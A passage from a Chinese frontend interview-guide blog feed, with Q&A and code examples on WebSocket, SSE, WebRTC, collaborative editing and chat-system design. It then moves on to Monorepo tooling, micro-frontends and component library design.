# WebSocket 是长连接，同一用户的多次连接最好路由到同一台机器
upstream backend_ws {
    ip_hash;                                    # IP hash 保持
    server 192.168.1.1:8080;
    server 192.168.1.2:8080;
}

# 或者使用 sticky session（Nginx Plus / OpenResty）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q7: Socket.IO 相比原生 WebSocket 有什么优势？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Socket.IO 不是 WebSocket 协议，是基于 WebSocket 的封装库，
提供降级方案（长轮询、HTTP Streaming）。

优势：
1. 自动重连（内置）
2. 消息 ACK 回调
3. 房间（room）和命名空间（namespace）
4. 广播（broadcast to others）
5. 二进制数据自动分片
6. 断线消息缓冲
7. 多路传输降级：WebSocket → HTTP Long Polling → HTTP Streaming

代码对比：

原生 WebSocket：
ws.send(JSON.stringify({ type: &apos;chat&apos;, data: msg }));
ws.onmessage = e =&amp;gt; { const { type, data } = JSON.parse(e.data); ... }

Socket.IO：
socket.emit(&apos;chat&apos;, msg, ackCallback);         // 事件 + ACK
socket.on(&apos;chat&apos;, (msg) =&amp;gt; { ... });           // 直接监听事件名
socket.join(&apos;room-1&apos;);                         // 加入房间
socket.to(&apos;room-1&apos;).emit(&apos;chat&apos;, msg);         // 房间内广播

代价：
- 协议不兼容标准 WebSocket（服务端必须也是 Socket.IO）
- 包体积较大（60KB+ min）
- 需要额外的 sticky session 配置（多实例部署）

选型：
- 快速搭建、内部通信、房间功能多 → Socket.IO
- 与第三方标准 WebSocket 服务对接 → 原生 WebSocket
- 极致性能 / 二进制协议 → 原生 WebSocket + Protobuf
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;SSE (Server-Sent Events)&lt;/h2&gt;
&lt;h3&gt;Q8: SSE 是什么？和 WebSocket 的区别？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;SSE：基于 HTTP 的服务器单向推送协议
- 客户端发起一次 HTTP 请求，服务端保持连接持续推送
- 协议：Content-Type: text/event-stream
- 单向：只能服务端 → 客户端

SSE vs WebSocket：

| 特性 | SSE | WebSocket |
|:--|:--|:--|
| 方向 | 单向（服务器推） | 双向 |
| 协议 | HTTP | 独立协议（Upgrade from HTTP）|
| 自动重连 | 浏览器内置 | 需自己实现 |
| 消息 ID/断点续传 | 内置（Last-Event-ID） | 需自己实现 |
| 二进制数据 | 不支持（Base64 转） | 支持 |
| 代理/防火墙穿透 | 好（就是 HTTP） | 可能被拦截 |
| 连接数限制 | HTTP/1.1 每域 6 个 | 无限制 |
| 浏览器支持 | 除 IE 全支持 | 全支持 |

适用场景：
- SSE：AI 流式响应（ChatGPT 打字机效果）、通知推送、日志流、股票行情
- WebSocket：聊天、协同编辑、多人游戏
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 前端使用
const es = new EventSource(&apos;/api/stream&apos;);

es.onopen = () =&amp;gt; console.log(&apos;连接打开&apos;);
es.onmessage = (e) =&amp;gt; {
  console.log(&apos;收到消息&apos;, e.data);
  // e.lastEventId 可用于断点续传
};
es.onerror = (e) =&amp;gt; {
  // 浏览器会自动重连，一般不用手动处理
  console.log(&apos;错误&apos;, es.readyState);
};

// 监听自定义事件
es.addEventListener(&apos;user-message&apos;, (e) =&amp;gt; {
  console.log(JSON.parse(e.data));
});

// 主动关闭
es.close();

// 服务端响应格式（Node.js Express 示例）
app.get(&apos;/api/stream&apos;, (req, res) =&amp;gt; {
  res.writeHead(200, {
    &apos;Content-Type&apos;: &apos;text/event-stream&apos;,
    &apos;Cache-Control&apos;: &apos;no-cache&apos;,
    &apos;Connection&apos;: &apos;keep-alive&apos;,
  });

  // 消息格式：event / data / id / retry
  res.write(&apos;event: message\n&apos;);
  res.write(&apos;data: hello\n\n&apos;);         // 两个换行结束一条消息

  // 定时推送
  const timer = setInterval(() =&amp;gt; {
    res.write(`id: ${Date.now()}\n`);
    res.write(`data: ${JSON.stringify({ time: Date.now() })}\n\n`);
  }, 1000);

  req.on(&apos;close&apos;, () =&amp;gt; clearInterval(timer));
});

// 局限：
// 1. 单域名 6 个连接（HTTP/1.1）→ HTTP/2 无此限制
// 2. 不支持自定义 header（认证要用 URL 参数或 Cookie）
// 3. 不支持二进制
// 4. IE 不支持
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q9: ChatGPT 打字机效果怎么实现？⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 方案 A：SSE（推荐，最简单）
const es = new EventSource(&apos;/api/chat/stream?prompt=xxx&apos;);
es.onmessage = (e) =&amp;gt; {
  if (e.data === &apos;[DONE]&apos;) { es.close(); return; }
  const chunk = JSON.parse(e.data);
  output.value += chunk.content;   // 逐字追加
};

// 方案 B：fetch + ReadableStream（更灵活，可带 header）
async function streamChat(prompt, onChunk) {
  const res = await fetch(&apos;/api/chat&apos;, {
    method: &apos;POST&apos;,
    headers: { &apos;Content-Type&apos;: &apos;application/json&apos;, Authorization: `Bearer ${token}` },
    body: JSON.stringify({ prompt, stream: true }),
  });

  const reader = res.body.getReader();
  const decoder = new TextDecoder();
  let buffer = &apos;&apos;;

  while (true) {
    const { done, value } = await reader.read();
    if (done) break;

    buffer += decoder.decode(value, { stream: true });
    // 按 SSE 协议解析（每条消息以 \n\n 分隔）
    const lines = buffer.split(&apos;\n\n&apos;);
    buffer = lines.pop();          // 保留不完整的最后一段

    for (const line of lines) {
      const data = line.match(/^data: (.*)$/m)?.[1];
      if (!data || data === &apos;[DONE]&apos;) continue;
      const chunk = JSON.parse(data);
      onChunk(chunk.content);
    }
  }
}

// 使用
streamChat(&apos;讲个笑话&apos;, (text) =&amp;gt; { output.value += text; });

// OpenAI 官方 SDK 就是这么做的：
// 用 fetch + stream，兼容自定义 header 和 POST 请求体
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;WebRTC&lt;/h2&gt;
&lt;h3&gt;Q10: WebRTC 是什么？工作原理？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;WebRTC（Web Real-Time Communication）：
浏览器之间 P2P 实时通信，主要用于音视频、屏幕共享、大数据传输。

三大核心 API：
1. getUserMedia：获取摄像头/麦克风
2. RTCPeerConnection：P2P 连接管理
3. RTCDataChannel：P2P 数据传输

信令流程（需要中间服务器）：

      A                     Signaling Server              B
      │                            │                       │
      │─── 1. createOffer ────────&amp;gt;│                       │
      │                            │─── 2. offer ─────────&amp;gt;│
      │                            │                       │
      │                            │&amp;lt;── 3. answer ─────────│
      │&amp;lt;── 4. answer ──────────────│                       │
      │                            │                       │
      │─── 5. ICE candidate ──────&amp;gt;│─── ICE candidate ────&amp;gt;│
      │&amp;lt;── 6. ICE candidate ───────│&amp;lt;── ICE candidate ─────│
      │                            │                       │
      └──────────── P2P 连接建立（无需服务器） ────────────┘

关键概念：
- SDP（Session Description Protocol）：描述媒体能力
- ICE（Interactive Connectivity Establishment）：NAT 穿透
  - STUN 服务器：发现自己的公网 IP
  - TURN 服务器：NAT 打不通时中转
- DataChannel：基于 SCTP，可传输任意数据（文件、游戏状态）

WebRTC 优势：
- 直连（低延迟，200ms 内）
- 加密（DTLS-SRTP 强制）
- 节省服务器带宽（P2P 传输）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// 简化示例（获取本地流 + 建立连接）
const stream = await navigator.mediaDevices.getUserMedia({ video: true, audio: true });
video.srcObject = stream;

const pc = new RTCPeerConnection({
  iceServers: [{ urls: &apos;stun:stun.l.google.com:19302&apos; }],
});

// 添加本地流
stream.getTracks().forEach(track =&amp;gt; pc.addTrack(track, stream));

// 监听远端流
pc.ontrack = (e) =&amp;gt; { remoteVideo.srcObject = e.streams[0]; };

// 创建 offer 并通过信令服务器发给对方
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
signalingServer.send({ type: &apos;offer&apos;, sdp: offer });
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;实战场景&lt;/h2&gt;
&lt;h3&gt;Q11: 协同编辑（多人同时改一个文档）怎么实现？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;两大主流算法：

1. OT（Operational Transformation）
   - Google Docs 采用
   - 核心：将编辑操作抽象为 op（insert/delete/retain）
   - 冲突时通过 transform 函数转换 op，保证最终一致
   - 优点：成熟、性能好
   - 缺点：实现复杂，需要中央服务器协调

   例：
   文档 &quot;abc&quot;
   A 用户：insert(1, &quot;X&quot;) → &quot;aXbc&quot;
   B 用户：insert(2, &quot;Y&quot;) → &quot;abYc&quot;
   
   服务器收到 A 的 op 后转发给 B：
   B 需要 transform：insert(2, &quot;Y&quot;) 变成 insert(3, &quot;Y&quot;)
   最终双方都得到 &quot;aXbYc&quot;

2. CRDT（Conflict-free Replicated Data Type）
   - Figma、Notion、Yjs 采用
   - 核心：数据结构本身保证任意顺序合并都一致
   - 优点：无需中央协调，可离线编辑
   - 缺点：内存占用大（保留历史元数据）

   常见 CRDT 库：Yjs、Automerge、Diamond Types

前端实现（基于 Yjs）：
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;import * as Y from &apos;yjs&apos;;
import { WebsocketProvider } from &apos;y-websocket&apos;;
import { MonacoBinding } from &apos;y-monaco&apos;;

// 1. 创建共享文档
const ydoc = new Y.Doc();
const ytext = ydoc.getText(&apos;monaco&apos;);

// 2. WebSocket 同步
const provider = new WebsocketProvider(&apos;wss://yjs.example.com&apos;, &apos;room-id&apos;, ydoc);

// 3. 绑定到编辑器（Monaco / CodeMirror / ProseMirror / Slate）
const editor = monaco.editor.create(container, { value: ytext.toString() });
new MonacoBinding(ytext, editor.getModel(), new Set([editor]), provider.awareness);

// awareness 提供在线状态、光标位置
provider.awareness.setLocalStateField(&apos;user&apos;, { name: &apos;Tom&apos;, color: &apos;#f00&apos; });

// 现成方案：
// - 文档：语雀、飞书文档（自研 OT）
// - 白板：tldraw、Excalidraw（CRDT）
// - 代码：CodeSandbox、StackBlitz（Yjs + Monaco）
// - 设计：Figma（自研 CRDT-like 方案）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q12: 直播间弹幕/聊天室怎么设计？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;架构：

用户浏览器 ←WebSocket→ 网关层 ←→ 消息服务 ←Redis Pub/Sub→ 房间管理
                                    ↓
                                  存储（MongoDB / Kafka → 数仓）

关键设计点：

1. 房间模型
   - 每个直播间是一个 room，用户加入即订阅
   - Socket.IO：socket.join(&apos;room-123&apos;)
   - 广播：io.to(&apos;room-123&apos;).emit(&apos;danmu&apos;, msg)

2. 消息扩散策略
   - 小房间（&amp;lt;1000 人）：直接广播
   - 大房间（万人级）：分级扩散
     * 网关层缓存最新 N 条，新用户进来先推历史
     * 消息按用户 ID hash 分片，多机并行推送

3. 消息限流
   - 单用户发言频率限制（Redis 计数 + 滑动窗口）
   - 房间总消息 QPS 限制，超过丢弃或合并

4. 消息优先级
   - 系统公告 &amp;gt; 付费弹幕 &amp;gt; 普通弹幕
   - 高优先级消息不走限流

5. 消息展示优化
   - 前端渲染节流：合并 100ms 内的多条消息一次性插入 DOM
   - 弹幕轨道管理：避免重叠，计算可用轨道
   - 虚拟列表：只渲染可视区域弹幕

6. 掉线与重连
   - 前端重连后带 last_msg_id，服务端补发
   - 长时间掉线（&amp;gt;5min）只推最新消息，不补历史

7. 数据规模
   - 单房间消息数：万级/分钟
   - 存储：Kafka 缓冲 → MongoDB 分片存储
   - 冷热分离：7 天内热数据 Redis，历史归档

前端要点：
- 弹幕用 requestAnimationFrame 控制动画（transform 走 GPU）
- Canvas 绘制（&amp;gt;1000 弹幕时性能远好于 DOM）
- 敏感词过滤（前端本地 DFA 算法 + 后端二次校验）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q13: 聊天消息的可靠性投递怎么保证？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;IM 系统三大难题：不丢、不重、有序

1. 不丢消息
   客户端发送 → 服务端 ACK → 客户端标记已送达
   ┌──────┐        ┌──────┐        ┌──────┐
   │  A   │──send─&amp;gt;│Server│──push─&amp;gt;│  B   │
   │      │&amp;lt;──ACK──│      │&amp;lt;──ACK──│      │
   └──────┘        └──────┘        └──────┘
   
   - A 未收到 ACK：本地重发（相同 msg_id）
   - Server 未收到 B 的 ACK：写入离线队列，B 上线后拉取
   - 消息持久化：先落库再推送（防止服务端崩溃丢消息）

2. 不重复
   - 每条消息生成全局唯一 msg_id（雪花算法/UUID）
   - 服务端根据 msg_id 去重（Redis Set，TTL 24h）
   - 客户端本地缓存已收 msg_id，重复的丢弃

3. 有序
   - 服务端为每个会话生成递增 seq
   - 客户端按 seq 排序展示
   - 断线重连时带 last_seq，服务端补发 seq &amp;gt; last_seq 的消息

4. 已读回执
   - B 打开会话时上报 read_seq
   - 服务端将 read_seq 推送给 A，A 展示&quot;已读&quot;

5. 离线消息
   - 用户离线时消息写入 inbox（Redis List / MongoDB）
   - 用户上线时按 seq 拉取（分页）
   - 拉取完成后清空 inbox

6. 消息漫游
   - 多端同步：手机端发的消息，Web 端也要看到
   - 每个用户维护一份消息索引（不只是每个会话）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
&lt;strong&gt;快速复习清单&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;通信选型&lt;/strong&gt;：单向推送 SSE / 双向 WebSocket / P2P WebRTC / 兜底长轮询&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WebSocket 握手&lt;/strong&gt;：HTTP Upgrade + Sec-WebSocket-Key/Accept（SHA1 + GUID）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;心跳重连&lt;/strong&gt;：30s ping/pong + 超时主动关闭 + 指数退避重连 + online 事件&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;消息协议&lt;/strong&gt;：type + id + seq + data，ACK 机制 + 去重 + 断线补发&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nginx 代理&lt;/strong&gt;：proxy_http_version 1.1 + Upgrade/Connection 头 + ip_hash&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Socket.IO&lt;/strong&gt;：房间 + 广播 + ACK + 自动降级，但非标准协议&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SSE 优势&lt;/strong&gt;：HTTP 穿透好 + 浏览器自动重连 + Last-Event-ID 续传&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;打字机效果&lt;/strong&gt;：SSE 或 fetch + ReadableStream（POST + header 用后者）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WebRTC&lt;/strong&gt;：SDP + ICE + STUN/TURN，P2P 低延迟音视频&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协同编辑&lt;/strong&gt;：OT（Google Docs）vs CRDT（Yjs/Figma），后者可离线&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;弹幕设计&lt;/strong&gt;：房间模型 + 分级扩散 + Canvas 渲染 + 限流&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IM 可靠性&lt;/strong&gt;：ACK + msg_id 去重 + seq 排序 + 离线消息 + 已读回执&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一篇：&lt;a href=&quot;/blog/posts/interview-guide-17-system-design/&quot;&gt;系统设计场景题&lt;/a&gt; 涵盖大文件上传、权限系统、埋点系统、富文本编辑器、前端安全、灰度发布、低代码平台等高级岗必考的架构设计题。&lt;/p&gt;
&lt;p&gt;返回 &lt;a href=&quot;/blog/posts/interview-guide-00-overview/&quot;&gt;面试宝典总览&lt;/a&gt; | &lt;a href=&quot;/blog/interview-guide/&quot;&gt;面试宝典合集页&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>前端工程化实践面试题（Monorepo/微前端/组件库）</title><link>http://117.72.32.87/blog/posts/interview-guide-15-engineering-practice/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/interview-guide-15-engineering-practice/</guid><description>讲解 Monorepo 架构、微前端方案选型、组件库设计、npm 发包、代码质量、单元测试、CI/CD、灰度发布等工程化落地实践。</description><pubDate>Wed, 16 Sep 2026 11:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文包含 20+ 道前端工程化实践面试题，覆盖从代码组织到发布的完整工程链路，中高级岗位重点考察项。难度标注：⭐ 基础 · ⭐⭐ 进阶 · ⭐⭐⭐ 高级 · 🔥 高频必考&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;Monorepo 与代码组织&lt;/h2&gt;
&lt;h3&gt;Q1: Monorepo vs Multirepo 怎么选？⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;Monorepo（单一仓库）&lt;/th&gt;
&lt;th&gt;Multirepo（多仓库）&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;代码可见性&lt;/td&gt;
&lt;td&gt;全量可见，易于重构&lt;/td&gt;
&lt;td&gt;需要跨仓库同步&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;依赖管理&lt;/td&gt;
&lt;td&gt;统一版本，避免&quot;依赖地狱&quot;&lt;/td&gt;
&lt;td&gt;各自维护&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CI 构建&lt;/td&gt;
&lt;td&gt;需增量构建，否则慢&lt;/td&gt;
&lt;td&gt;独立构建，快&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;权限控制&lt;/td&gt;
&lt;td&gt;粗粒度&lt;/td&gt;
&lt;td&gt;细粒度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;团队协作&lt;/td&gt;
&lt;td&gt;打破团队边界&lt;/td&gt;
&lt;td&gt;按仓库隔离&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;代码复用&lt;/td&gt;
&lt;td&gt;天然复用（workspace 包）&lt;/td&gt;
&lt;td&gt;需发 npm&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;仓库体积&lt;/td&gt;
&lt;td&gt;会随时间变大&lt;/td&gt;
&lt;td&gt;每个仓库小&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;Monorepo 典型结构（pnpm workspace）：

my-app/
├── apps/
│   ├── web/              # 主站
│   ├── admin/            # 后台
│   ├── mobile/           # H5
│   └── docs/             # 文档站
├── packages/
│   ├── ui/               # 组件库（内部包）
│   ├── utils/            # 工具函数
│   ├── hooks/            # 自定义 hooks
│   ├── request/          # axios 封装
│   ├── config-eslint/    # 共享配置
│   └── config-tsconfig/  # 共享 ts 配置
├── pnpm-workspace.yaml
├── turbo.json            # 增量构建配置
└── package.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;选择建议：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;多产品线共享组件/工具/规范 → Monorepo&lt;/li&gt;
&lt;li&gt;团队分散、技术栈差异大、代码需强隔离 → Multirepo&lt;/li&gt;
&lt;li&gt;中小项目 → 单仓库足够，别过度设计&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q2: pnpm workspace、Turborepo、Nx、Lerna 的区别？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;pnpm workspace：包管理器级别
- 通过 pnpm-workspace.yaml 定义工作区
- 硬链接 + 符号链接：磁盘占用小、安装快
- 严格 node_modules 结构，避免&quot;幽灵依赖&quot;
- 只解决依赖，不解决构建编排

Turborepo：任务编排
- 基于 turbo.json 声明依赖关系
- 增量构建：只构建变更包及其下游
- 远程缓存：CI 缓存产物，跨机器复用
- Vercel 出品，配置简单，性能好

Nx：全功能构建系统
- 依赖图分析、任务编排、代码生成器
- 插件生态（React/Vue/Node/NestJS）
- 分布式任务执行
- 学习成本高，适合大型企业

Lerna：老牌工具
- v6 后由 Nx 团队维护
- 主要用于版本管理和发布（changed/publish）
- 构建能力已被 Turborepo/Nx 替代
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;// turbo.json 示例
{
  &quot;pipeline&quot;: {
    &quot;build&quot;: {
      &quot;dependsOn&quot;: [&quot;^build&quot;],        // 依赖上游包先构建
      &quot;outputs&quot;: [&quot;dist/**&quot;]          // 缓存产物
    },
    &quot;test&quot;: { &quot;dependsOn&quot;: [&quot;build&quot;] },
    &quot;lint&quot;: {},
    &quot;dev&quot;: { &quot;cache&quot;: false, &quot;persistent&quot;: true }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# 常用命令
turbo run build                # 构建所有包
turbo run build --filter=web   # 只构建 web 及其依赖
turbo run test --filter=@app/ui^...  # 只测试 ui 的下游
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Q3: pnpm 为什么比 npm/yarn 快？⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;npm/yarn 的问题：
1. 每个项目独立 node_modules，重复占用磁盘
2. 扁平化 node_modules，产生&quot;幽灵依赖&quot;
   （间接依赖可以被 require，但没在 package.json 声明）

pnpm 的解决方案：

1. 全局硬链接（Hard Link）
   ~/.pnpm-store/v3/files/  →  project/node_modules/.pnpm/
   同一版本包在全局只存一份，磁盘节省 60%+

2. 严格的三层 node_modules 结构
   node_modules/
   ├── .pnpm/           ← 真实存放（软链到全局 store）
   │   ├── lodash@4.17.21/
   │   └── ...
   └── lodash -&amp;gt; .pnpm/lodash@4.17.21/node_modules/lodash
   ↑ 只有 package.json 里声明的依赖才在顶层出现

3. 内容寻址存储：相同文件只存一份
4. 并行安装：比 yarn v1 快 2-3 倍

带来的收益：
- 安装速度：npm ci 60s → pnpm i 15s（真实项目数据）
- 磁盘：monorepo 里 10 个 app 共享依赖，节省 90%
- 安全：幽灵依赖被杜绝，重构时更可靠
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;微前端&lt;/h2&gt;
&lt;h3&gt;Q4: 微前端解决什么问题？常见方案对比？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;答：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;核心场景：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;巨型应用（几百万行代码）拆分维护&lt;/li&gt;
&lt;li&gt;多团队独立开发部署（组织架构映射）&lt;/li&gt;
&lt;li&gt;遗留系统渐进式重构（老 jQuery + 新 Vue/React）&lt;/li&gt;
&lt;li&gt;技术栈异构（不同产品线用不同框架）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;主流方案对比：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;方案&lt;/th&gt;
&lt;th&gt;隔离&lt;/th&gt;
&lt;th&gt;通信&lt;/th&gt;
&lt;th&gt;上手成本&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;qiankun&lt;/td&gt;
&lt;td&gt;JS 沙箱 + Shadow DOM&lt;/td&gt;
&lt;td&gt;全局状态&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;最主流，社区大&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Module Federation&lt;/td&gt;
&lt;td&gt;无（模块级）&lt;/td&gt;
&lt;td&gt;共享依赖&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;Webpack 5+，模块共享&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;single-spa&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;props&lt;/td&gt;
&lt;td&gt;中&lt;/td&gt;
&lt;td&gt;路由级切换&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;micro-app（京东）&lt;/td&gt;
&lt;td&gt;类 WebComponent&lt;/td&gt;
&lt;td&gt;自定义&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;无侵入&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;无界 wujie（腾讯）&lt;/td&gt;
&lt;td&gt;iframe + WebComponent&lt;/td&gt;
&lt;td&gt;props&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;隔离最强&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;iframe&lt;/td&gt;
&lt;td&gt;天然隔离&lt;/td&gt;
&lt;td&gt;postMessage&lt;/td&gt;
&lt;td&gt;低&lt;/td&gt;
&lt;td&gt;简单场景，体验差&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;qiankun 核心原理：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 主应用注册子应用
import { registerMicroApps, start } from &apos;qiankun&apos;;
registerMicroApps([
  {
    name: &apos;sub-vue&apos;,
    entry: &apos;//localhost:8081&apos;,
    container: &apos;#subapp&apos;,
    activeRule: &apos;/vue&apos;,
    props: { token: getToken },
  },
]);
start({ sandbox: { experimentalStyleIsolation: true } });

// 子应用导出生命周期（webpack 配置 library）
export async function bootstrap() { /* 应用首次加载 */ }
export async function mount(props) {
  createApp(App).mount(props.container.querySelector(&apos;#app&apos;));
}
export async function unmount() { app.unmount(); }

// 三大关键机制：
// 1. HTML Entry：直接加载子应用 HTML，解析 script/link（比 JS Entry 灵活）
// 2. JS 沙箱：Proxy 拦截 window，子应用修改不污染主应用
// 3. 样式隔离：Shadow DOM / scoped（选择器加前缀）/ dynamic stylesheet
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Module Federation（模块联邦）：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// webpack.config.js（生产者）
new ModuleFederationPlugin({
  name: &apos;app_remote&apos;,
  filename: &apos;remoteEntry.js&apos;,
  exposes: { &apos;./Button&apos;: &apos;./src/Button&apos; },
  shared: [&apos;react&apos;, &apos;react-dom&apos;],   // 共享依赖，避免重复加载
});

// 消费者
new ModuleFederationPlugin({
  name: &apos;app_host&apos;,
  remotes: { app_remote: &apos;app_remote@http://x.com/remoteEntry.js&apos; },
  shared: [&apos;react&apos;, &apos;react-dom&apos;],
});

// 使用（像本地组件一样）
const Button = React.lazy(() =&amp;gt; import(&apos;app_remote/Button&apos;));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;选型建议：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;已有大型 SPA、需要拆分独立部署 → qiankun&lt;/li&gt;
&lt;li&gt;Webpack 5+、需要模块级共享 → Module Federation&lt;/li&gt;
&lt;li&gt;追求强隔离、可接受 iframe 局限 → 无界&lt;/li&gt;
&lt;li&gt;简单页面级切换、老系统改造 → single-spa / iframe&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Q5: 微前端的坑有哪些？⭐⭐⭐&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;1. 样式冲突
   - qiankun 用 scoped 加前缀，但全局样式（body、html）改不了
   - 解决：约定 BEM 命名 / CSS Module / Shadow DOM

2. JS 沙箱逃逸
   - 定时器、事件监听、全局变量在卸载时要主动清理
   - 解决：子应用 mount/unmount 严格管理生命周期

3. 路由冲突
   - 主子应用都有路由，history/popstate 会互相干扰
   - 解决：子应用 basename 隔离，主应用做前缀分发

4. 共享依赖版本不一致
   - React 17 主应用 + React 18 子应用共存问题
   - 解决：约定版本 / Module Federation shared 强制单例

5. 通信复杂度
   - 跨应用状态同步容易失控
   - 解决：qiankun initGlobalState / CustomEvent / URL 参数

6. 首屏性能
   - 加载主应用 + 子应用资源，白屏时间增加
   - 解决：预加载（prefetchApps）、子应用 CDN 缓存

7. 开发调试困难
   - 本地要同时起主应用和多个子应用
   - 解决：独立运行模式（子应用可脱离主应用启动）
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;组件库设计&lt;/h2&gt;
&lt;h3&gt;Q6: 从零设计一个组件库要考虑什么？⭐⭐⭐ 🔥&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;完整链路：
需求分析 → 技术选型 → 目录结构 → 组件设计 → 构建打包 →
文档站 → 单元测试 → 发版流程 → 版本管理 → 迁移方案

1. 技术选型
   - 框架：Vue / React / Web Components（跨框架）
   - 样式：Sass / Less / CSS-in-JS / Tailwind / 原子化
   - 主题：CSS 变量（推荐，运行时切换）/ Sass 变量（构建时）
   - 构建：Vite（开发）+ Rollup（打包）+ Vite lib mode

2. 目录结构
components/
├── packages/
│   ├── button/
│   │   ├── src/Button.vue
│   │   ├── __tests__/Button.spec.ts
│   │   ├── index.ts               # 导出
│   │   └── style/
